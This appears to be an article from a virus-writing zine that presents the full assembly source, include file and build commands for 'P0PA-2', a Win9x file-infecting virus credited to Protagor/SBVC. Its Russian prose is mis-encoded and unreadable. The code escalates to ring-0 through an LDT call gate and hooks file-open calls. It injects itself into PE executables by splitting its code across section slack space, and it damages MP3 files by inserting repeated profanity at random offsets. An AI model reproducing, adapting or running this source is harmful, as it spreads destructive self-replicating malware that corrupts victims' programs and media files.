۳۳۳ ۳ ۳۳ Win9x.ap0p ⢨ ring-0 ۳۳۳۳ ۳ ۳ ۳ ۳ by Protagor /SBVC 㦥⢥ 祫 㯯 SBVC ।⠢ 室 ᢮ ⢮७ Win9x. ⠢ Win9x 砥 㪢쭮 ᫥饥 - 㤥 ࠡ ᫥ 樮 - Win95, Win96, Win97 筮 Win98, WinNT ࠡ 㤥. ਢ। 砥 ᫥饬: 1. ᯮ 室 㫥 , ࠡ⠥ WinNT 2. ᯮ 맮 VXD ( WinNT) ⭮ - ஢ ਮ ( ᭮ ᯮ 2): Ring0 - ஢ ⥬, Ring3 - ⮫쪮 , ࠧ襭 ࢮ , 뢠 । ப ;) 室 㫥 ⢫ ।⢮ "CallGate", ᫨ 祣 ᭮ ⠬ - ᬮ ਠ Billy Belcebu ⮬ ୠ. ᬮਬ 室 ⮣ ⢮७ 묨 ﬨ ===========================[ ]======================================== ; Win9x.P0PA-2 (Win95.Apop.????) ; ; by SBVC ; ; த  ७ ᨥ Win9x.P0PA (Win95.Apop) ; ⫨砥 ⥬, ࠢ 让 :) ; ; ᠭ: ; ; ஢ ணࠬ 室 ring0 ⮤ LDT ; ᠤ IFSAPI ( 筮:) 㫥 ࠡ뢠 㭪 IFSFN_OPEN ; .. ⨥ 䠩 ᬠਢ 䠩 ७ .EXE .MP3 ; ᫨ 䠩 .EXE ⠥ ࠧ... ; ; ⮤ ࠦ EXE-䠩: ; ; ᪨뢠 ᢮ ⥫ ᥪ, .. 뢠 ᥡ ᢮ ; 䠩 ᥪ樨... ᠬ ࠧ 䠩- ; 㢥稢. ᫨ 䠩 筮 - ய᪠. ; ; ; ⮤ "ࠦ" MP3-䠩: ; ; ᪠ ... ࠭ MP3-誨 뢠 窠, ; 50 ᫮ "Fuck", 筮 ⨬ ࠧ , १ ; - ६ 稭 ⠢ :)) ; 砥 ⮬, ᪨, 뢠 ⭠ ; 窠 ࠭ ᠬ 䠩... :) .. MP3- ; ਢ 室 ﭨ... ; ; த ! ࠩ, ᫨ - rogatorp@yahoo.com.au ; ; 塞 ⠪: ; ; tasm32 /s /m /z /ml p0pa2.asm ; tlink32 /Tpe /aa /c /x p0pa2,p0pa2.exe,, /L import32.lib ; include p0pa2.inc ;砥 䠩 类 㦭 ;ଠ樥 DEBUG = 0 ; ⫠ (몫祭),᫨ ⠢ ;1 - 㤥 ࠡ 䠩 ;*.zzz *.mpZ .386p .model flat extrn ExitProcess:PROC ;। -樨 ࢮ ᪠ .data P0PA_Start: pusha ;砥 call P0PA_Init P0PA_Init: pop EBP sub EBP, offset(P0PA_Init - P0PA_Start) call set_seh ;⠢ ᢮ SEH mov ESP, [ESP + 8] jmp short Exit_Main set_seh: push 4 ptr FS:[0] mov FS:[0], ESP call get_r0 ;। 楤 ⠫樨 call ring0_proc retf ;⭮ get_r0: pop ESI ;ESI = - ⠫樨 push EBX ;砥 GDT sgdt [ESP - 2] pop EBX sldt AX ; 稬 ᥫ LDT and EAX, not 111b jz short Exit_Main add EBX, EAX ; ਯ LDT GDT mov EDI, [EBX + 2 - 2] ; 稬 LDT mov AH, [EBX + 7] mov AL, [EBX + 4] shrd EDI, EAX, 16 fild 8 ptr [EDI] ; ࠭ ਯ mov EAX, ESI ; ਯ callgate cld stosw mov EAX, 1110110000000000b shl 16 + 28h stosd shld EAX, ESI, 16 stosw db 9Ah ; ᮮ⢥⢥ 맮 dd 0 dw 100b + 11b ; sel.#0, LDT, r3 fistp 8 ptr [EDI - 8]; ⠭ ਯ Exit_Main: pop 4 ptr FS:[0] ; SEH pop EAX popa db 68h ; push Exit_VA = $ - P0PA_Start dd offset exit retn ring0_proc: ; r0 稭 pushad mov EAX, DR3 ; ஢ਬ 稥 ᥡ cmp EAX, 'P0PA' je exit_r0 ; 뤥 push PAGEFIXED + PAGEZEROINIT xor EAX, EAX push EAX ; . push EAX ; max push EAX ; min push EAX ; ஢ push EAX ; VM = 0 ᫨ PG_SYS push PG_SYS ; ⥬ push virpages ; - ࠭ PatchOffset = $ - P0PA_Start VMMcall PageAllocate add ESP, 32 or EAX, EAX ; ஢ਬ 訡 jz short exit_r0 db 0BBh ; mov EBX, im32 Obj_Tbl_VA = $ - P0PA_Start dd 40018Fh ; VA ⠡ ꥪ⮢ ⮣ db 0BAh ; mov EDX, im32 MainLen_Offset = $ - P0PA_Start dd virusLen ; 㥬 ᥡ cld mov EDI, EAX mov ESI, EBP mov ECX, EDX rep movsb copy_next: cmp EDX, virusLen je short make_clear_copy mov ESI, [EBX + 18h + 4] mov ECX, [EBX + 18h] mov EDI, EDX add EDI, EAX add EDX, ECX add EBX, 28h rep movsb jmp short copy_next make_clear_copy: mov ESI, EAX lea EDI, [EAX + virbuffer - P0PA_Start] mov ECX, EDX rep movsb ; 稬 ᢮ lea EDI, [EAX + virbuffer - P0PA_Start + PatchOffset] mov 2 ptr [EDI], 20CDh mov 4 ptr [EDI + 2], 00010053h mov ESI, EAX push EAX add ESI, offset(IFSAPI_handler - P0PA_Start) ; ESI = 楤 墠IFS API push ESI VxDcall IFSMGR, InstallFileSystemApiHook add SP, 4 pop EDI ; ࠭ 騩 㪠⥫ mov [EDI + old_IFSAPI - P0PA_Start], EAX ; 㦥 ! mov EAX, 'P0PA' mov DR3, EAX exit_r0: popad retn ; r0 Loader_Size = $ - P0PA_Start IFSAPI_handler: pushad call get_addr get_addr: pop EBP sub EBP, get_addr - IFSAPI_handler ; ᠬ 䠩 ࠡ⠥? lea EAX, [EBP + semafore - IFSAPI_handler] cmp 1 ptr [EAX], 0 jne Exit_IFSAPI_handler ; ⠭ 䫠 inc 1 ptr [EAX] push EAX ; 㭪? cmp 4 ptr function, IFSFN_OPEN jne End_IFSAPI_handler ; 䠩 lea EDI, [EBP + filepath - IFSAPI_handler] mov EAX, drive ; or AL, AL jle End_IFSAPI_handler lea EBX, ioreq_ptr ; 㪠⥫ IOREQ add AL, 64 stosb mov AL, ':' stosb push 0 push 7Fh mov EBX, [EBX] mov EAX, [EBX + 0Ch] add EAX, 4 push EAX push EDI VxDcall IFSMGR, UniToBCSPath add ESP, 10h or EDX, EDX jne End_IFSAPI_handler mov EDX, EDI sub EDX, 2 ; EDX -> 䠩 add EDI, EAX ; EDI -> 䠩 mov 1 ptr [EDI], 0 ; ASCIIZ ; ஢ ; ॢ 㪢 ॣ mov EAX, [EDI - 4] or EAX, 20202000h IF DEBUG ;᫨ ⫠ mp3 - mpz cmp EAX, 'zpm.' ELSE cmp EAX, '3pm.' ENDIF je FuckMP3 IF DEBUG ; exe -zzz cmp EAX, 'zzz.' ELSE cmp EAX, 'exe.' ENDIF jne End_IFSAPI_handler call ClearAttr_And_OpenFile ; ⠥ DOS header + stub + PE header + obj table + ??? xor ESI, ESI mov ECX, bytes_to_read lea EDX, [EBP + buffer - IFSAPI_handler] call fread jc Close_File cmp 2 ptr [EDX], 'ZM' jne Close_File mov ESI, [EDX + 3Ch] ; ESI = ᬥ饭 PE mov EAX, ESI add ESI, EDX ; ESI -> PE cmp 2 ptr [ESI], 'EP' jne Close_File cmp [ESI + 44h], 'CVBS' ; ஢ ? je Close_File movzx EDI, 2 ptr [ESI + 14h] ; EDI = ࠧ add EDI, 18h mov EDX, 4 ptr [ESI + 34h] ; EDX = 砫 㧪 add EDX, EAX add EDX, EDI ; EDX = VA ⠡ ꥪ⮢ mov [EBP + virbuffer - IFSAPI_handler + Obj_Tbl_VA], EDX add EDI, ESI ; EDI -> ⠡. ꥪ⮢,1 . ; ⠥ ᯮ짮 䠩 movzx EBX, 2 ptr [ESI + 06h] ; EBX = 稪 ꥪ⮢ mov ECX, EBX ; ECX = 稪 ꥪ⮢ xor EAX, EAX push EDI summ: mov EDX, [EDI + 10h] ; EDX = 䨧. ࠧ sub EDX, [EDI + 08h] ; EDX = 䨧. - 㠫 js short skip_obj add EAX, EDX skip_obj: add EDI, 28h loop short summ pop EDX ; EDX -> ⠡ ꥪ⮢ sub EAX, virusLen js Close_File ; ; find space for code mov EDI, EDX ; EDI -> ⠡ ꥪ⮢ mov ECX, EBX ; ECX = - ꥪ⮢ next_sect: mov EAX, [EDI + 10h] ; EAX = 䨧. ࠧ sub EAX, [EDI + 08h] ; - 㠫 sub EAX, Loader_Size jns short Write_Code add EDI, 28h loop short next_sect jmp Close_File Write_Code: mov [ESI + 44h], 'CVBS' ; ⠢ mov EAX, [ESI + 34h] ; EAX = . . 㧪 ; ࠭ mov [EBP + imgb - IFSAPI_handler], EAX mov ECX, [ESI + 28h] ; ECX = RVA 窨 室 add ECX, EAX ; ECX += . . = VA 室 ; ࠭ VA 窨 室 mov [EBP + virbuffer - IFSAPI_handler + Exit_VA], ECX ; ⠥ RVA 窨 室 mov EAX, [EDI + 0Ch] ; EAX = RVA ꥪ add EAX, [EDI + 08h] ; EAX += 㠫 ࠧ mov [ESI + 28h], EAX ; ⠭ ; ⠥ ࠧ mov EAX, virusLen mov ECX, [EDI + 10h] ; ECX = 䨧. ࠧ sub ECX, [EDI + 08h] ; ECX = ࠧ ન cmp ECX, EAX jna short not_above_vir_size mov ECX, EAX not_above_vir_size: lea EAX, [EBP + virbuffer - IFSAPI_handler + MainLen_Offset] mov [EAX], ECX ; ⠭ 䫠: E + R + I - D or 4 ptr [EDI + 24h], 40000000h or 20000000h or 00000040h btc 4 ptr [EDI + 24h], 25 mov ESI, [EDI + 14h] ; ESI = 䨧. ᬥ饭 add ESI, [EDI + 08h] ; ESI = 䠩 ᬥ. ન add [EDI + 08h], ECX ; 㢥. 㠫. ࠧ mov EDI, EDX ; EDI -> ⠡ ꥪ⮢ lea EDX, [EBP + virbuffer - IFSAPI_handler] call fwrite jc short Close_File ; ⥯ 襬 墮 mov EDX, ECX ; EDX = ᠭ process_next: mov ECX, virusLen sub ECX, EDX ; ECX = ⠫ jz short Write_Header ; 祣 뢠 mov EAX, [EDI + 10h] ; EAX = 䨧. ࠧ sub EAX, [EDI + 08h] ; - 㠫 = ࠧ js short skip_sect jz short skip_sect cmp EAX, ECX jg short greater ; ࠧ ન mov ECX, EAX greater: ; : R + I - D or 4 ptr [EDI + 24h], 40000000h or 00000040h btc 4 ptr [EDI + 24h], 25 ; ࠬ 襣 稪 mov ESI, [EDI + 0Ch] ; RVA ꥪ add ESI, [EDI + 08h] ; + 㠫 ࠧ add ESI, [EBP + imgb - IFSAPI_handler] ; ESI = VA mov [EDI + 18h + 4], ESI ; ࠭ mov [EDI + 18h], ECX ; ࠭ mov ESI, [EDI + 14h] ; 䨧. ᬥ饭 ꥪ add ESI, [EDI + 08h] ; 䠩 ᬥ饭 add [EDI + 08h], ECX ; ⠭ 㠫. ࠧ mov EAX, EDX ; EAX = ᠭ lea EDX, [EBP + virbuffer - IFSAPI_handler] add EDX, EAX call fwrite jc short Close_File add EAX, ECX ; 㢥稬 - . mov EDX, EAX ; EDX = ᠭ skip_sect: add EDI, 28h dec EBX jnz short process_next Write_Header: ; ⥯ 뢠 ⭮ 䠩 lea EDX, [EBP + buffer - IFSAPI_handler] xor ESI, ESI mov ECX, bytes_to_read call fwrite Close_File: call fclose RestoreAttrs: pop ECX pop ESI mov EAX, R0_FILEATTRIBUTES + 1 VxDcall IFSMGR, Ring0_FileIO End_IFSAPI_handler: pop EAX dec 1 ptr [EAX] Exit_IFSAPI_handler: popad db 0FFh, 25h ; jmp old_IFSAPI label dword dd 0 FuckMP3: ; call ClearAttr_And_OpenFile ; 㧭 ⥪騩 ࠧ 䠩 mov EBX, [EBP + hfile - IFSAPI_handler] mov EAX, R0_GETFILESIZE VxDcall IFSMGR, Ring0_FileIO mov [EBP + filesize - IFSAPI_handler], EAX mov [EBP + tempvar - IFSAPI_handler], EAX sub EAX, 12 xchg EAX, ESI mov ECX, 12 lea EDX, [EBP + buffer - IFSAPI_handler] call fread cmp 4 ptr [EBP + buffer - IFSAPI_handler],'P0PA' jne gofuck mov EAX, 4 ptr [EBP + buffer + 8 - IFSAPI_handler] mov [EBP + tempvar - IFSAPI_handler], EAX gofuck: ;int 03 ;=== Random === pushad mov EDI, [EBP + tempvar - IFSAPI_handler] random: mov EAX, [EBP + seed - IFSAPI_handler] mov EBX, 48C27395h mul EBX shr EAX, 2 shl EDX, 30 or EAX, EDX mov [EBP + seed - IFSAPI_handler], EAX mov EAX, 80000000h mov ECX, 32 test: test EDI, EAX pushf shr EAX, 1 popf loopz test neg ECX add ECX, 30 mov EAX, 80000000h sar EAX, CL not EAX and EAX, [EBP + seed - IFSAPI_handler] cmp EAX, EDI ja random mov [EBP + rn - IFSAPI_handler], EAX popad ;== /Random === mov ESI, [EBP + rn - IFSAPI_handler] mov ECX, bytes_to_add lea EDX, [EBP + buffer - IFSAPI_handler] call fread mov EDX, [EBP + tempvar - IFSAPI_handler] mov 4 ptr [EBP + buffer + bytes_to_add - IFSAPI_handler],'P0PA' ;ᨣ mov 4 ptr [EBP + buffer + bytes_to_add + 4 - IFSAPI_handler], ESI ;ᬥ饭 稭 ᪠ mov 4 ptr [EBP + buffer + bytes_to_add + 8 - IFSAPI_handler], EDX ;ࠧ 䠩 push ESI mov ESI, [EBP + filesize - IFSAPI_handler] mov ECX, bytes_to_add+12 lea EDX, [EBP + buffer - IFSAPI_handler] call fwrite mov EAX, 'kcuF' lea EDI, [EBP + buffer - IFSAPI_handler] mov ECX, (bytes_to_add / 4) rep stosd pop ESI mov ECX, bytes_to_add lea EDX, [EBP + buffer - IFSAPI_handler] call fwrite jmp Close_File ClearAttr_And_OpenFile: pop 4 ptr [EBP + tempvar - IFSAPI_handler] ; get attrs mov ESI, EDX mov EAX, R0_FILEATTRIBUTES VxDcall IFSMGR, Ring0_FileIO ; ᫨ 䠩 - 室 jc End_IFSAPI_handler ; clear all attrs mov EDI, ECX xor ECX, ECX mov EAX, R0_FILEATTRIBUTES + 1 VxDcall IFSMGR, Ring0_FileIO jc End_IFSAPI_handler push EDX ; ࠭ push EDI ; ࠭ ਡ ; open file call fopen jc RestoreAttrs mov [EBP + hfile - IFSAPI_handler], EAX jmp [EBP + tempvar - IFSAPI_handler] ;-------- ring-0 file io, thanks to Z0MBiE, great work ;) ------------------ access_eax equ (dword ptr 7*4) ; i: esi=filename ; o: cf, eax=handle fopen: pusha mov EAX, R0_OPENCREATFILE mov BX, 2022h ; no int 24, denywrite, r/w mov CX, 32 ; archive (unused here) mov DX, 01h ; fail | open VxDcall IFSMGR, Ring0_FileIO mov [ESP].access_eax, EAX popa ret ; i: fclose: pusha mov EBX, [EBP + hfile - IFSAPI_handler] mov EAX, R0_CLOSEFILE VxDcall IFSMGR, Ring0_FileIO popa ret ; i: ; edx=buffer ; ecx=size ; esi=file pos ; o: fread: pusha mov EBX, [EBP + hfile - IFSAPI_handler] mov EAX, R0_READFILE xchg EDX, ESI VxDcall IFSMGR, Ring0_FileIO popa ret ; i: ; edx=buffer ; ecx=size ; esi=file pos ; o: fwrite: pusha mov EBX, [EBP + hfile - IFSAPI_handler] mov EAX, R0_WRITEFILE xchg EDX, ESI VxDcall IFSMGR, Ring0_FileIO popa ret seed dd 666 ; 㦭 ࠭ ; ⠭ ; ⠩ virusLen equ ($ - P0PA_Start) bytes_to_read equ 500h bytes_to_add equ 200 ; ᪮쪮 MP3 path_len equ 300 hfile dd ? imgb dd ? semafore db 0 filepath db path_len dup (?) virbuffer db virusLen dup (?) buffer db (bytes_to_add + 12) dup (?) tempvar dd ? ; ॠ ࠧ mp3 filesize dd ? ; rn dd ? ; virpages equ ($ - P0PA_Start + 4095) / 4096 .code start: call P0PA_Start exit: push 00000000h call ExitProcess end start ===========================[ ]======================================== p0pa2.inc: ===========================[ ]======================================== VxDcall macro VxD, Service db 0CDh db 020h dw Service dw VxD endm VMMcall macro Service VxDcall VMM, Service endm function equ <[esp+0ch+28 + 4]>;the function that is being performed drive equ <[esp+10h+28 + 4]>;the 1-based drive the operation is being performed on (-1 if UNC) ioreq_ptr equ <[esp+1ch+28 + 4]>;pointer to IOREQ structure VMM equ 0001h PageAllocate equ 0053h PageFree equ 0055h Exec_VxD_Int equ 008Fh PAGEZEROINIT equ 00000001h PAGEFIXED equ 00000008h PG_SYS equ 1 PageModifyPermissions equ 0133h PC_WRITEABLE equ 00020000H PC_USER equ 00040000H PC_STATIC equ 20000000H Call_When_Idle equ 003Ah Get_System_Time equ 003Fh Install_IO_Handler equ 0096h IFSMGR equ 0040h InstallFileSystemApiHook equ 0067h IFSFN_OPEN equ 36 IFSFN_RENAME equ 37 IFSFN_FILEATTRIB equ 33 UniToBCSPath equ 0041h Ring0_FileIO equ 0032h R0_OPENCREATFILE equ 0D500h ; Open/Create a file R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current context R0_READFILE equ 0D600h ; Read a file, no context R0_WRITEFILE equ 0D601h ; Write to a file, no context R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context R0_CLOSEFILE equ 0D700h ; Close a file R0_GETFILESIZE equ 0D800h ; Get size of a file R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file GET_ATTRIBUTES equ 00h SET_ATTRIBUTES equ 01h R0_RENAMEFILE equ 05600h ; Rename a file R0_DELETEFILE equ 04100h ; Delete a file R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file R0_GETDISKFREESPACE equ 03600h ; Get disk free space R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write ===========================[ ]========================================